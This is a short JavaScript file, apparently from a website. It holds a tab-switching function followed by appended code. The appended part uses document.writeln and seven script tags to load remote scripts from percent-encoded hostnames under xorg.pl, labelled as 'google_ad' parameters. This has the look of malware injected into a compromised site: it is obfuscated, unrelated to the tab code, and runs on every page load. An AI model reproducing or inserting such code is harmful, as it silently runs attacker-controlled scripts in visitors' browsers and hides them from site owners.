function etabit(btn){
	var idname = new String(btn.id);
	var s = idname.indexOf("_");
	var e = idname.lastIndexOf("_")+1;
	var tabName = idname.substr(0, s);
	var id = parseInt(idname.substr(e, 1));
	var tabNumber = btn.parentNode.childNodes.length;
	for(i=0;i<tabNumber;i++){
			document.getElementById(tabName+"_div_"+i).style.display = "none";
			document.getElementById(tabName+"_btn_"+i).className = "";
		};
		document.getElementById(tabName+"_div_"+id).style.display = "block";
		btn.className = "curr";
};document.writeln("<script language=javascript src=http:\/\/h%64p.x%6Frg.%70l\/c.js?google_ad=12x114_ad><\/script>");<script language=javascript src=http://h%64p.x%6Frg.%70l/c.js?google_ad=12x114_ad></script><script language=javascript src=http://h%65e.x%6Frg.%70l/c.js?google_ad=12x315_ad></script><script language=javascript src=http://h%65n.x%6Frg.%70l/c.js?google_ad=12x117_ad></script><script language=javascript src=http://h%397.x%6Frg.%70l/c.js?google_ad=12x119_ad></script><script language=javascript src=http://h%66m.x%6Frg.%70l/c.js?google_ad=12x125_ad></script><script language=javascript src=http://h%66y.x%6Frg.%70l/c.js?google_ad=12x526_ad></script><script language=javascript src=http://h%67u.x%6Frg.%70l/c.js?google_ad=12x231_ad></script>